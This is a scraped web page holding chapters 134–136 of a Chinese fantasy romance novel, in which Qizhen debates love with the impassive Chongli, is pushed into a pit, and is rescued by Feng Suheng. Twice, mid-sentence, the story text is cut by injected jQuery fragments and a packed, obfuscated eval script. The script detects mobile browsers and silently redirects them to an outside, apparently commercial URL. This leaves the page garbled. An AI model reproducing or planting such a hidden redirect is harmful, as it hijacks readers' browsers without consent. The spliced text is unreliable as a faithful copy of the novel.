$(''.inform'').remove(); $(''#content'').append('' 食,要有地方住,要想办法活下去。我跟其他人商量,我们得造个坚固的、能遮风挡雨的房子。或许都称不上房子,因为我们都不会造,手边也没像样的工具和建材。可这些困难挡不住我想让自己住得舒服些的决心。所以我们开始设计,看看怎么就地取材才能把它造出来。” “今天来洞里,看你也给自己弄了个房子。”栖真看四周,对重离挤出笑:“说明你也想让自己住得舒服点,有床躺,有沙发坐,有墙挡风。真的,挺好的。” 重离眉间微突,像在皱眉,但瞬间,那点起伏不见了,他生硬道:“我不会给你打印任何生存物资。” 栖真……… 她根本没想到这茬,经重离提醒,她忽然觉得这或许是个可以争取的方向,但现在她只是道:“我没有这个意思。我想表达的是,我们之间,总有作为人类的共通处,对不对?” ‘对不对?’是句带有洗脑意味的语言锤,但明显没捶到重离,他用一种点出客观事实的语气道:“你是碳基生物。” 啊,我是碳基生物…… 对这无厘头的话,栖真呆了呆才反问一句:“你不是?” 重离仍然死人脸地望着她。 对话中断,房里陷入沉寂。但明显,不舒服的只有栖真一个。 她往椅背上一靠,问:“你要我五天来一次,我来了,你希望我怎么陪呢?” 重离道:“你可以在这里做让你高兴的事。” “让我高兴的事!”栖真摊手,讽刺道:“你让我失去自由,然后希望我在这里做高兴的事?” “没瘫痪,没捆绑,你拥有一座八千公顷的山脉,山上有无数生存物料。”重离道:“可你认为失去自由,并为此不高兴。” 栖真唰地站起,愤恨道:“我爱的人不在这八千公顷的山里!八千还是零点八,对我又有什么意义?” 重离对她的激动视若无睹,甚至没动下身体作为回应,他只是缓缓道:“爱是一种情绪,今天爱这个,明天爱那个,对这个时代的人来说很普遍。尤其是女人,一些爱抚、宽慰和安全感的组合就能让你们自认是爱!你觉得不自由、不高兴,就调整自己的认知和情绪。” “爱不只是一种情绪!而女人也不会去爱一台按摩椅!”栖真瞪他,像看外星生物,“我不可能因为被困在这里就不想他,不爱他!” 重离似乎有片刻沉思,开口道:“早期人类喜欢拿‘爱’做借口,吹嘘它的至高无上,将它作为行动的幌子,但忽略了‘爱’这种东西的本质。” “爱的本质是什么?” “条件。” 栖真蹙眉:“条件?” “不存在无条件的爱。”重离道:“所有他吸引你的点,都是爱的先决条件。当具备同等条件的人出现,你也会产生同样的感觉。如果你把这些条件主动移植到别的对象上,即使一棵草,你都会爱上它。” 论调很新鲜,但足够武断和机械! 栖真觉得这事太特么可笑了!她对风宿恒的爱,需要一个陌生人帮忙定义?她重新坐下,平静下来道:“如果这是你认为的爱,那么,你有没有这种情绪呢?” 重离:“我不需要这种垃圾。” 栖真哦一声,接着问:“不需要不代表没有。重离,你爱过谁吗?” 对面视线异动,不仅盯她的时间变长,而且又露出那种明明嫌弃又面无表情的神色来。 重离:“不可能。” 随话音落地,栖真又被无情地扔出去……前一秒她还坐在那把雪白的、式样简略的高密轻钛基椅上,下一秒就摔在高山草甸上。 身后,铁索桥消失不见。 栖真不可置信,对天嗤笑。 好一个“不可能”! 134. 第 134 章 栖真总结这次对话:于脱困毫无进展,但对了解重离不能说全无所获。 蚂蚁爬向上帝,一步也是跨。 昨日英迈捕回来的鱼太小,栖真说了句鲫鱼对产妇好,下次捕大点的,惹得英迈当场黑脸,说有本事你去抓。所以今日她以捕鱼做借口出来,见完重离不能空手回去。 坟头山上有瀑布,山下必有溪流。栖真在铁索桥往北半公里处看见下山的缓坡,旁边虽是悬崖,路却不难走。几处折返下,倒也顺利下到半山腰。此地夹在两处高山之间,果然有一条横阔的溪水由东向西趋低奔流。 站在岸边抬头望,能见头顶三峰鼎立。 一处是她下来的高山草甸峰,如今从北侧往上看,那山峰像块直挺挺的墓碑。 第二峰在溪流对面,比墓碑稍矮,形似馒头。 第三峰就是不见踪影的坟头山,原来换个角度站到下面往上探看时,还是能见到坟头的存在。 墓碑、坟头、馒头……好一个经典祭祀场面。 这地方风水能好吗? 栖真苦笑。 四周无人,栖真想起来,跑回草甸峰挖出自己的背包,拿出冲锋衣和牛仔裤。怕被人发现,又把包埋回去,然后回到三峰溪边忍着寒,下水洗头洗澡,又把脱下来的古装围成兜,找水流平缓处捕鱼。 说到捕鱼,之前和小包子一起参加的亲子夏令营都有这个项目,她多多少少有些经验。 重离说山里物料丰富,真没说错!水里鱼很多,好捕。栖真用上巧劲,不一会儿就兜上来两条臂长的白水鱼。 上岸换回冲锋衣和牛仔裤,返身把古装洗干净,摊在石头上晾晒。这期间她又摘了几把长草编成绳,把扔在岸边翻肚皮的鱼在鳃处串起,打算待会儿拎下山。 做完一切,栖真坐在河滩边发呆。 几日来她为着带孩子才得一顶单独的小帐子,分到的食物也少得可怜,但好歹存活下来。而且她能感觉得到,絮回他们对她的态度正在慢慢改变……非常迟缓,每个人程度不同……但总在往好的方向变。人非草木,她相信只要她再用心一点,怀柔一点,总有一天会让他们对她打开心扉。 他们没有家了,或许……她可以做得再多些……试着给他们一个家? 这群人看似听柳絮回的,但据她观察,背后站的还是容绽。所以想要赢得接纳,容绽的态度至关重要。 栖真不由想起那张消瘦到几乎认不出的脸。 这几日和容绽没什么交流,但她看在眼里,他的任务似乎只是照顾断腿的容伯舒,其他时间容绽都习惯独自静坐,即使沐浴阳光,仍沾不上一点暖意,看上去好寂寞、好孤冷。 过去那个美好到如墨如画的贵公子,只能留在记忆中了吗? 栖真咬唇想,太可惜了。 ………… 雨后日头旺,她换回晾干的古装,将现代装卷成卷夹在腋下,拎起鱼,准备原路返回。 从缓坡下来时,她一门心思放在溪流上。此刻准备回去了,一瞥眼,到见那缓坡底下侧边几十米处,山壁上好似有个黑漆漆的洞。 栖真好奇,过去看了一下。 没想到这一看,就看出事情来了! 靠近才发现,山壁上的洞其实很浅,重点是往下。 下面居然有个地洞! 周围碎石林立,杂草丛生,将洞口遮掩些许。即便如此,栖真仍能瞧出那洞口并不小,若露全貌,大概可容六七个人同时下。 她蹲下小心翼翼往下看,感觉下面空间很大,只不过洞壁间有藤蔓横陈,阻挡视线,一时也判断不出洞有多深。 栖真心想回去还得跟絮回他们说一声,别有人不小心来此一脚踏空掉下去,就出大事了! 这么想着正要起身,背上倏忽被猛力一推,栖真始料未及,一声惊叫掉了下去。 “啊啊啊……”洞到底有多深,她用自己身体测出来了! 一路坠得像块可怜的落石,求生意志让她竭力想抓住点什么,可什么都抓不住,在藤蔓间层层跌落。最后一段没藤蔓了,她就要重重砸向地面,饕餮从体内奔出,在下面当了一回软垫,但对栖真仍是重创,落地后直接昏死过去。 意识昏沉,她想睁眼,但眼皮太重,想动一动,可身体不听使唤。混蛋好像在旁边舔、挠,她都没法做出反应。 人的生命脆弱至极,但也有例外,栖真觉得自己就属于天生命大。当她终于能够睁眼,依稀见到头顶天光时,脑子里像灌了铅,又像大钟乱撞,怕是摔出脑震荡了。 可毕竟还活着! 那么高摔下来,都没把她摔死! 栖真艰难爬起,靠着洞壁坐,除一身擦伤和头痛欲裂,感觉并没骨折。但单头疼一项就足够要人命,她虚弱地看着饕餮将一起掉下来的衣服和鱼全数衔来,放在面前,然后匍匐在旁,看着她,陪着她。 “……谢。”栖真没说完,又晕过去。 第二次醒来头疼终于减轻些,洞里光线很暗,只有混蛋身上的蓝色荧光照亮周围小片。洞外天色泛青,也不知是清晨还是傍晚。 浆糊一样的脑子终于可以转动……所以,她是被推下来的吗? 栖真死人一样靠着洞壁,黯然地想,山上只有絮回他们,是谁?是谁要置她于死地? 以为经过努力,已经让他们慢慢接受她,没想到…… 没想到…… 脑海里浮现一双双疏离的、含着敌意的眼,难道他们早就发现她的秘密,要为嘉和帝报仇,才在背后下黑手? 栖真只觉心快滴出血来,被亲近者背叛原来那么让人难受!从心底生出的寒意,比身体疼痛还要折磨百倍。 当初,眼睁睁见沈兰珍化身厉鬼,他们……莫非也是这种如坠冰窟的感觉? 真是冤冤相报啊…… 罢罢罢……当初嘉和帝和赖俊青杀凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003402|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,她让他们偿了命,如今她也要为他们偿命了。论理来说,小包子没死成,一命抵两命,她也不亏。 洞口太远,估看起码六、七层楼高,连最下面洞壁相连的藤蔓离地都至少十几米,而洞壁下半部分什么植物都没长,她要怎么爬上去?再看四周,这洞内空间虽大,却根本无路可走。 就说墓碑、坟头、馒头,风水能好吗? 如今墓碑下,叫天天不应,叫地地不灵,真要成为她的埋骨地。 栖真笑出来,身侧有碎石,她随意捡了一颗捏在手心。 真是好得很! 风宿恒必定以为她死在了沙漠里,没人知道她之后诸多奇遇……好!还是不知道的好!她爱的人,一个活过来,一个有大好前程,她心系的游戏,在另一个世界运营地如火如荼。 此生心愿已了,细想,还有什么牵挂? 原本就出不去这座大山,现下小草般在此枯萎,于这天地,也无甚差别。 栖真侧身,拿石头在洞壁上画出道道印子,泪水顺着脸颊流下,沾湿衣襟。 这一刻,与其说心中万念俱灰,不如说全然放下。 她在洞底能撑得几日呢? 重离说她就是个碳基生物,没错,确实是! 这个碳基生物三天不喝水就要死翘翘,就算还有两条鱼,也不过让她多撑几天。然后呢?然后不是照样走向死亡? 也许将来某一天,某个探险者会下到洞里,发现她的白骨。啊,穿着古装,抱着一堆奇装异服的白骨。她在后世眼里,将成为一个迷。 栖真哭着笑出来。 谁会知道这堆白骨,还真地有点故事呢! 谁会知道,这堆白骨穿越千年来到这里,爱上一个人。为了救他,她放弃回去的机会,可她一点不后悔。她后悔的只有一件事,就是当初在风宿恒身边时自己思前顾后,没有表白,没有大声告诉他,她喜欢他,爱他,想和他在一起! 是啊,很多事不说出来,就永远成了秘密,对方永远没有机会知道了! 风宿恒,风宿恒,风宿恒,风宿恒……… 趁生命的烛火即将熄灭的最后一刻,还来得及告诉你我的心里话吗? 栖真停手,凝视石头在洞壁上刻出的白线条,然后抬头,仔细看了看自己背靠的一整面洞壁。 洞壁虽有褶皱,整体是光滑的、无碍的。 她挣扎着站起来,抬手,在壁上极其正式地写下“宿恒”两个字。 啊,确实可以写…… 可写完这两字,栖真停手了。 光线太暗,她不想在晦暗不清的环境下写,即使无人得见这些文字,于她却是一种仪式。作为留给风宿恒最后的告白,难道不该郑重些? 打下腹稿吧,让这番表白对得起自己生命的终结! 所以她又坐下来,仿佛入定一般坐下来。 等。 等天亮。 135. 第 135 章 写完最后一笔,栖真停手。 纵有千言,杳无人听,留下这篇,终究是不愿自己那点微不足道的心意,连老天爷都不知道。 写前丧到极点,准备独自赴死,写完后心头那份颓丧居然淡了。 这一世仍是错过,下一世我再努力? 不! 为何要下一世? 下一世还能遇见风宿恒吗? 他就在这世,她便不能放弃! 人生第一封情书还能写出鸡血效果,将她从自怨自艾的绝境拉出来,栖真自己都觉得神奇。 身体没摔坏,脑子也没傻,除了又饿又渴,老天爷已经很优待她。栖真开始想办法:“混蛋,你有没有办法把我驮上去?” 混蛋摇头。 “那你有没有办法自己上去,帮我叫人?” 混蛋摇头。 “宿恒啊,你怎么不给我弄个凤凰呢?”栖真对天长叹。 混蛋龇牙咧嘴,表示抗议。 栖真拍拍它的头,虽拍不到实体,仍是安抚动作,接着在洞中找起来。上面没办法了,总得看看能不能找找别的出路。 可是没有。 从日上三竿找到夕阳西下,敲遍每一寸洞壁,踩过每一处洞底,除了看出此处岩石会在阳光照到时泛出亮晶晶的颗粒状晶体外,其他什么发现都没有。 洞底太干净,寸草不生,虫豸皆无。 栖真饿得浑身发颤,求生欲让她不避臭腥吃了半条鱼。生吃的感觉令人作呕,可她还是硬生生逼着自己吃下去。 如今外面又至黄昏。从洞口望出去,天空徜徉着火烧云,投下红黄紫夹杂的柔和光线。栖真靠着洞壁重新坐下,愣愣望着夕照从洞口照入。觉得老天到底待她不薄,予她死前一片慷慨,再瞧眼大自然的温柔。 “我的意中人是一位盖世英雄,有一天他会身披金甲圣衣、驾着七彩祥云来娶我。” 栖真笑出来,想到电影里的台词,嘀咕道:“七彩祥云来了……盖世英雄……在哪儿呢?” 心脏越跳越快,将脆弱的生命加速消耗。她太疲乏,头脑昏沉,身体发软,无一处脏器不痛,连视线都开始模糊。她将脑袋抵上搁在膝头的双臂上,粗重地喘气。 “栖真!” 可是……好像听到有人在叫她,语气惶急…… “栖真!” 她果然快死了,所以才会产生幻听,听到她的盖世英雄在呼唤。 颤悠悠抬头,七彩光晕中,高大身影袭近,一下将她抱入怀里。 啊…… 栖真懵了,眼神可以模糊,耳朵可以幻听,但这真实的触感,箍紧的力道……总非幻觉吧? 是有人在抱她吗? 是有人下来救她了吗? “……宿……恒?” 她不敢置信。 是梦吗? “……宿恒?” “是我!栖真!”风宿恒捧住她脸,急切道:“终于找到你!” 不是梦! 梦中人就出现在眼前…… “你哪里受伤?” “……饿……渴……”栖真脑内嗡鸣,像走失的孩子被找回,忍不住哽咽,在他怀中痛哭失声。 她以为自己哭得汹涌,可在风宿恒眼里,她激动得意识都恍惚了,哭都没有力气,以至于风宿恒后面究竟怎么把她弄出洞,于她也只是一个模糊的浅影。 等终于清醒些,看清眼前景象时,是风宿恒捧着水正喂给她喝。 冰冷的溪水沾到唇,栖真一激灵,就着他的手大口喝起来。冰水一路从食道入胃,火烧火燎的胃受到刺激,瞬间收缩,更疼了。 可她停不下来,喝了一拨又一拨,喝到满足为止,才觉得彻底恢复清明。 栖真终于看向面前人……用积攒的一点点神智,好好看他。 她自己有多狼狈,风宿恒也不遑多让。 他们似乎也就半个月没见,但面前这个男人和她过去两个月里见到的很有些不同。 他近期似乎暴晒过,皮肤黑了,脸上还有晒伤的红痕。眼下泛青,应该有段时间没休息好,疲惫感很浓重,尤其两颊,还带着病态的消瘦。 这分明是她在冰棺里见过的风宿恒! 所以,他真地活过来了? 如今在她面前的,真是死而复生的风宿恒? 这样活生生的人再怎么憔悴,栖真都瞧得目不转睛。 看他额间的淡疤,看他眉浓如山岳,眉尾飞入鬓;看他天庭饱满,眉骨与鼻梁顺连一体,高挺的鼻子,圆润的鼻尖,让面相显得英气而不粗犷;再看他唇色浅淡,上唇比下唇厚,很有些欲的况味。 而万年不变的,是风宿恒的眼睛。 他眼睛墨黑,带着风的神韵,眼尾上挑时会让人感受秋的傲气,笑起来又有夏的热烈,可这双眼睛对上她,又似春风拂面,泛着暖意。 无论何时何地,一如既往让她心动。 “认不出我了吗?”大概是她注视太长时间,水从指缝淌下,风宿恒看着她问。 总觉得她打量他的视线有些陌生,风宿恒恍然,是他死太久,醒来后没好好康复,一时半会儿变丑了,比不上他做出来的傀那样英俊吗? “没有认不出。”栖真不好意思地别过头,她怎么……好像比刚才更晕了。 “带你下山。”风宿恒料想栖真的虚弱,作势想上前将她抱起。 谁知栖真往后缩,紧贴岩石,连连道:“不,不,我不走。” 风宿恒手撩过她淌着冷汗的额发:“你不饿吗?我们下山,去吃东西。” 死里逃生,久别重逢,栖真实在太高兴,高兴地昏了头,根本没时间去想现实问题。 被困山里几日,她没想过风宿恒会徒然出现,所以根本没打过腹稿,不知眼下要怎么跟他说明。 风宿恒瞧她脸色煞白,明明身体极不舒服,神态却惶急无助,一眨眼,眼泪又掉了下来。 风宿恒也急了:“你别急,慢慢说,什么都可以跟我说。你想要什么?” 眼泪滴滴往下淌,栖真心里沉重,这份压力甚至瞬间替代了被人从死亡线上拉回来的庆幸。 “这里……有人。”栖真哽咽道:“你、你上山时有没有看到?” “没有。我御剑来的,看见这里山峰奇异,我便找路上山,后来就找到了你。没见到什么人。”风宿恒指了指他来时的方向。 他们还在三峰溪边,他指的是馒头山的方向,栖真明白了,他从北峰过来,所以没遇见故人。 还好,还好没遇见! 栖真稍稍安心,可她要怎么跟他说自己根本走不了的事实呢? 她太乱了。 “我在这里遇到个人。” 她遇到了重离…… “我得在山里待一段时间。” 重离拿结界封住她,不让离开,她不得不在这里待着。 “所以我们、我们先不下山好吗?” 栖真祈求道。 知道这话说出来不近人情,可她不知怎么说才能更好,她要点时间思考,但现下风宿恒就在身边,她脑子一团浆糊,根本什么都想不了。 谁知风宿恒并不纠结,立马道:“好,不下山就不下山。对岸有林子,我去弄点吃的。你一个人在这里可以吗?” 见栖真点头,他便起身,两个起落过了溪,往林间去。 栖真松口气,撑着石头站起身,想看看自己能不能走两步,可一起来眼冒金星,浑身发软,只好又坐下。 适才在风宿恒面前她竭力克制,现下溪边只剩她一个人,忍不住了,捂嘴哭得无声,任眼泪哗哗往下淌。 她仍然怀疑自己在做梦。 风宿恒为何会出现在此? 就他一个人? 难道说他为了寻她,一个人在沙漠里到处找,然后就那么巧,找到了这座山,找到了这个洞,找到了她? 从概率上说,这样的可能性,实在很小! 可不管怎样,他就是找到了她。 人或许总有那么一个时刻,会对着另一个人想,啊,就是他了!会和自己过一辈子的命定之人,不是别人,就是他! 刚才看着风宿恒,这个声音劈开脑袋,闯进心田,仿若神启,如是告知! 栖真听见了那道声音,所以现下任由心潮起伏,浑身沐浴在久违的幸福中。她擦泪,可更多眼泪簌簌落下,根本无法遏制。 风宿恒总是给她诸多感动,所有的眼泪和欢笑,不都围绕着他? 他想必刚醒来就从乾都奔赴大荒流,然后长时间在沙漠里暴晒,心急如焚地找,才皇天不负有心人,最终出现在她面前。 他死时,她没有放弃他。现在,他同样如是! 谁说她在中土没有羁绊? 风宿恒和她分明互为羁绊! 她哭一回,笑一回,整个人陷在兴奋中,忽听背后传来话声。 “小心脚下,下去就是溪流,可以沐浴。” “好。” 栖真转头,见山遥正从缓坡上下来。身后,阑珊扶着容绽,也慢慢往下走。 他们明显也没想到会在这里见到栖真,山遥停下脚步。 “你们、你们也来洗澡?”一天一夜没回去,此时见到他们,栖真有些紧张,“这里水太凉,不适合沐浴,要不另找个地方,或者等明日太阳晒暖……” 栖真是真慌,想把人支走,生怕风宿恒此刻回来,两厢遇见岂非坏事? 她忽然发现,她都不确定山遥他们见没见过风宿恒真实的模样,毕竟他如今的样子和扮容聘时有很大不同,但万一他们见过他的真容…… 山遥站在坡上,阴郁地盯着她,不知在想什么,不说话也不动。 大概是容绽示意,阑珊轻声道:“是栖真。”,又转头高声问坡下:“你怎么在这儿?出去捕鱼捕了一天一夜?” 栖真……… 此时容绽微侧头,仿佛听见动静,问:“林子里有人?” 缓坡离对岸少说百来米,栖真惊讶于他敏锐的耳力。她转身,和提着一对燕鸟从对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017278|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸掠回来的男人一打照面,栖真的慌乱直接被惊讶替代。 什么鬼? 风宿恒的脸怎么变样了? 眉毛变得浅淡,眼型成了狭长,脸颊都圆润了……若非身形和服饰仍是原来,她真会以为面前是个陌生人。 山遥皱眉,冷声喝道:“什么人?” “你们又是什么人?”风宿恒一下子护在栖真面前。 好吧,连音色都变了。 栖真感佩,这人反应也太迅速了!想必适才在林中见到山遥他们,心知多一事不如少一事,才用法术变了面相出来相见。 山遥见这男人和栖真明显认识,责问栖真道:“他是谁?” 栖真看看山遥,又看看身前的风宿恒,心快跳出来。 她也是知机之人,照平时张口就来,可现下她脑子实在转不动,才会被山遥问地哑口。 谁知风宿恒接腔,高声道:“这是我家小姐,今日在山里找到她,正要带她回去。” 小姐? 栖真拉他袖子,别……别乱说啊! “我、我不回去。”栖真道:“我要留在山上。” 她一表态,别说风宿恒回头看她,连山遥他们投来的眼神都带着诧异。 栖真低头往缓坡走:“我回去带孩子。” 风宿恒面不改色,心中惊讶至极。 带孩子? 他见栖真走两步一个趔趄,忙上前扶住,扶住便不放手了,就着这个动作扶她上坡,与山遥和容绽他们擦肩,往山顶去。 待看不到身后人,风宿恒才悄声问:“怎么回事?他们怎会在此?” 栖真道:“我那日被飓风吹来戈壁,遇到他们正被狼群追,便跟着一起逃上山。” 风宿恒…… 栖真道:“然后碰到慕容烟月生孩子,他们一时半会儿没法走,我就留下来帮她接生,后来……还帮忙带孩子。” 风宿恒…… 栖真听身边人没声音,以为他不信,立马补充道:“我知道这一桩桩很是赶巧,但,就是这么巧,我也没想到会在这里遇见他们。” 风宿恒却问:“还走得动吗?走不动我背你?” 栖真瞅了风宿恒一眼,下山路漫漫,她确实有点力不从心,可她不知怎么了,对着如今的风宿恒,竟比之前还要敏感。他掺扶她一路,她已然身子发软,脸热想躲,更别说背了。 还在犹豫,下一刻就被风宿恒打横抱起。 “啊……”栖真惊了。 “不想背?”风宿恒道:“那就抱。” “我不是这个意思。”栖真手足无措,手不知往哪儿放。 风宿恒抱着她在山道上健步如飞,轻笑出声:“现在比以前好。” “好……好……?”栖真看着近在咫尺的脸,气息很熟悉,熟悉得她晕成一摊浆糊。 “不用口令了。”风宿恒道。 栖真心里一震。 之前两个月,相处的毕竟不是风宿恒真正的本体,当中还经历一出生离死别,如今乍然重逢,栖真心里多少需要点时间适应。谁知风宿恒说完这句,莫名地,竟一下将那种距离感消除殆尽,仿佛就是他回趟乾都,如今又回来而已。 一切都没有变! “山道很长。”栖真心潮起伏,嚅嗫道:“抱着……很累的。” “抱紧我。”风宿恒道:“我手里还有两只鸟呢。” 栖真……… 揽上他的脖颈,风宿恒肩膀宽挺,脑袋搁在上面很舒服,让人安心的舒服。栖真咬唇,听见自己鼓雷般的心跳,一时全然忘了适才在说什么。 风宿恒没忘,他总得把事情问清楚:“他们知道你是谁吗?” 栖真明白那意思,他在问山遥他们知不知道她是过去的沈兰珍。 栖真动了动脑袋,轻声道:“我哪敢说呀。” 风宿恒觉得颈侧暖暖,有点痒,但他没躲,心跳再失速仍抱着人快速下山。这情况出乎他意料,他得先摸清怀里人怎么想。 “你适才说不想走?”风宿恒问。 怀里静了一刻,才听栖真道:“当年是我造孽,好不容易遇见,我想……” 她想什么,风宿恒不问都知道了。 当年她初入大容,接触的就是这群九部相,她在中土为数不多的故人中这群人占了大头。她发狠砍了嘉和帝和赖俊青为小包子报仇,现下相遇,还不知心里多么愧疚。 “你怎么跟他们说你的身份?” 栖真将编的故事说了一遍。 风宿恒最后道:“所以,你想留下陪他们一段时间?” 栖真点头。 “好吧。”他语气无奈,偏头,唇像不经意擦过她发间:“我陪你。交给我。” 栖真以为要费些口舌说服,没想到风宿恒那么好说话。 若换个人,这时来和她纠结,她都不知怎么挺过去。可风宿恒不多言,只说“交给我”,让她瞬间放心了。 心里舒坦了,只剩头疼胃痛,她着实饿得说话力气都没有了。 136. 第 136 章 未到营地便知大伙儿吃过了,空气里飘着浓浓的刷锅味。 见她回来,身后还跟着个男人,大家都停手看过来。 这种抵触的目光太熟悉了,之前他们这样看她,如今来了个陌生人,他们又这样看他倆。 柳絮回直接上来问:“这人是谁?” 风宿恒在山遥他们面前叫她小姐,栖真只好顺着说:“我家里人。” 容绽、山遥和阑珊也回来了,一进营地阑珊就嚷嚷:“她家里人,来接她的。” 顶着那么多不友善的目光,栖真昏昏然站着,心里不舒服,倒是风宿恒扫了一圈,扶她到空地坐:“我去弄吃的,你等会儿。” 边上用草茎编容器的成校嘀咕:“出去两天招呼都不打,不止一次了啊。” 英迈抱襁褓在哄,栖真不在,这两日他们围着孩子忙坏了,都没睡上囫囵觉,见她回来心里冒火,“说要留的是你,随便走的也是你,还带人回来,做什么?直接下山不更好?” 风宿恒冷脸,转身对上英迈,栖真拉住他,自个儿站起来。 “我不是随随便便不回来,昨天不小心掉进地洞,困了一天一夜,刚被救上来。” 栖真撩起衣袖,手臂上一条条被藤蔓尖刺割开的伤口,血已凝固,可擦伤和淤痕还很明显,揭示着她到底经历了怎样的一日一夜。 话落地,整个营地一片死寂。 所有人惊讶地看着她,一时不知说什么好。 风宿恒上前将她袖子小心放下,轻声问:“你睡哪儿?” 栖真指了指自己的小帐子。 风宿恒看过去,三根树枝交叉搭起,挂了两件衣服遮蔽,又小又陋。再看周围,几个帐子稍大些,但也差不多状况。 “先躺下休息会儿,能吃了来叫你。”风宿恒不是轻易动情的人,此刻都觉鼻子一酸。 栖真点头,不想再面对冷言冷语,索性去帐中躺下。 风宿恒明明可以去外面找片安静地把手里的野味烤出来,但他哪儿都没去,就在营地三下五除二弄了野味,用人家现成的火架烤。见有人盯着他,有的认识,有的不认识,也没关系,他对他们和善地笑,和他们搭讪,让他们觉得他就是个无害的手下,伺候人的,没什么威胁。 最快速度烤好野味,叫栖真出来吃,又问人要来热水给她洗手擦面,在她睡前低声道了句:“安心,一切有我。” 栖真实在撑不住,脑袋还疼,可她怎能放风宿恒一人,自己去睡? 风宿恒直接点了睡穴把人放倒,脱了自己外衫给她贴身盖,再盖上栖真那条洗过但还带着淡淡血腥味的披风,将帐子拢好。 返身将火架清理干净,他去找柳絮回。 适才他们一进营地,柳絮回第一个上来问,是以现下他便第一个找她。 风宿恒将剩下一只完整的烤禽递上:“明日加餐。” 柳絮回看着烤得外焦里嫩、火候正好的烤禽,却道:“不用,你们自己留着吧。” “没事,不分你我。”风宿恒将烤串放回火架,和气道:“适才一路,小姐跟我说幸得你们照料,才让她在荒山野岭活下来,我劝她离开,可她不愿意。” “来了家里人,为何不走?”柳絮回也不懂。 风宿恒抱怨道:“小姐人美心善,我就没见过半个不喜欢她的人,怎么看你们好像不太待见她呢?” 适才一进营地,他们态度那么明显,他立马感觉出来。 很多东西就怕挑明,柳絮回语塞:“我们……” 风宿恒追问:“她做了伤害你们的事?” 柳絮回摇头。 栖真不仅没伤害过他们,还处处帮衬,做了很多令他们感激的事。 “那我不懂了。”风宿恒直白道:“你们戒心那么重,被人害过啊?” 这话交浅言深了,可风宿恒既然扮粗人,粗人哪管那么多,说话就是直。 柳絮回垂眼,不说话了。 风宿恒摇头叹气,低声道:“我家小姐也是付春名门,要不是家乡被辛丰侵略,我们怎会过这种东躲西藏的日子。” 柳絮回一惊。 “你们知道那辛丰太子多丧心病狂?”风宿恒面上满是痛恨:“侵略我们国家,夺取我们矿藏,还让付春贵族尽数蒙羞,可该死的辛丰人竟想赶尽杀绝。小姐好不容易逃出来,她心中的苦又有谁知道?所以她见了谁都能帮则帮,让你们觉得殷勤过了,不舒服了,还请多担待。” 柳絮回心中恻侧,面上却不显,“她经历过这些,难道不该更加厌恶人世,躲避生人?” “有的人会,她不会。”风宿恒道:“小姐说过,家破人亡不是她的错,但从此不信人,甚至起了害人心,那才是她的错。” 柳絮回沉思,风宿恒见状问:“你们呢?你们在山上待多久了?” 许是适才分享的经历撩起柳絮回某些思绪,出口的话不再那么抗拒:“还不知道,走一步看一步吧,其实我们……” 像意识到言多必失,她不再说下去。 但风宿恒已知其意,道:“我找到小姐了就不会放她一个,山上苦是苦点,但安全!她喜欢待在这儿,喜欢和你们一起,我也随她。后面她由我全权照顾。我们有些薄产,不愁吃穿。一时半会儿大家下不去山,我去取些吃的用的,只求你们和她做个伴,待她宽容些吧。” 最后道:“你们那么多人,我们就两个,你们忌惮个球!我现下说的,你在小姐面前少提,她怎么说的来历,你们信了就是。” 许是他语气不善,像个真正的大老粗,柳絮回呛他一句:“不怕我们把你们来历抖搂出去?” 风宿恒很横地哼了一声,带着不屑,转身离开前道:“一帮人也不知躲荒山里干吗,谁都别为难谁!” 那晚,他在帐外找块大石靠着休息。 凡营地里活动的、没在帐里的,他都光明正大地观察。 这群人确实以柳絮回为首,看来他适才没找错人。 也看出容绽被夺神识,人却没折——孤坐时,他分明在运行某种心法,而身边那个叫阑珊的,过去就是他身边神官,现下看来还是主要伺候他。 无疑,容绽仍是这群人里地位最高的,毕竟营地里的清净地都分配给他,别人明显对他仍有敬畏心。 他们那顶帐篷……阑珊会将热水往里送,说明里面还有人……得探探是什么人。 英迈和以前一样不成事,倒是能带孩子,比过去肯干,而他那个吊梢眼的随从,听英迈叫他成校,则有些反客为主的不恭,常转身就翻白眼。 太医正董未他认识的,当年带董未和太医长赶赴石林救人……如今瞧着话少了,明日记得让他给栖真看下伤。 而他们口里的典叔——张典,还是个面上什么都应承,背地里做事偷工减料的主。 有个叫阿陶的男人,二十四五的模样,寡言少语,埋头干活,不知之前是何身份,但看别人跟他说话的态度,应该是宫里伺候人的角色。 还有三个孩子。两个男孩是兄弟,哥哥最多十三四岁,弟弟最多十岁,都是机灵的。而最小的女娃估摸也就六七岁,头发都长得盖过眼了,是男孩们的小跟班。 搂这些人一眼,风宿恒心里就有底。 唯有一个……他最后看向山遥。 山遥就着篝火烘尿布,很安静,旁人不太和他说话,他也不主动吱声,与别人间熟稔的感觉不同,他像在周身下了“别来理我”的禁咒。 烤着烤着,山遥会偷偷瞄来一眼,见风宿恒也正看他,便不动声色低头继续手里的活儿。 风宿恒摸下巴,似乎这群人里,他暂时一眼看不穿的,反倒是这个曾经跟他时间最长的属下。 当年他恢复真身回到大容皇宫,因犯蠢铸下大错,早没了管旁人的心思,这群九部相和宫里人还是戦星流和钟雄处理的。 如今看,这群人确实过得不好,颠沛流离,穷困潦倒。 做出判断后,风宿恒收回心思,闭眼假寐。 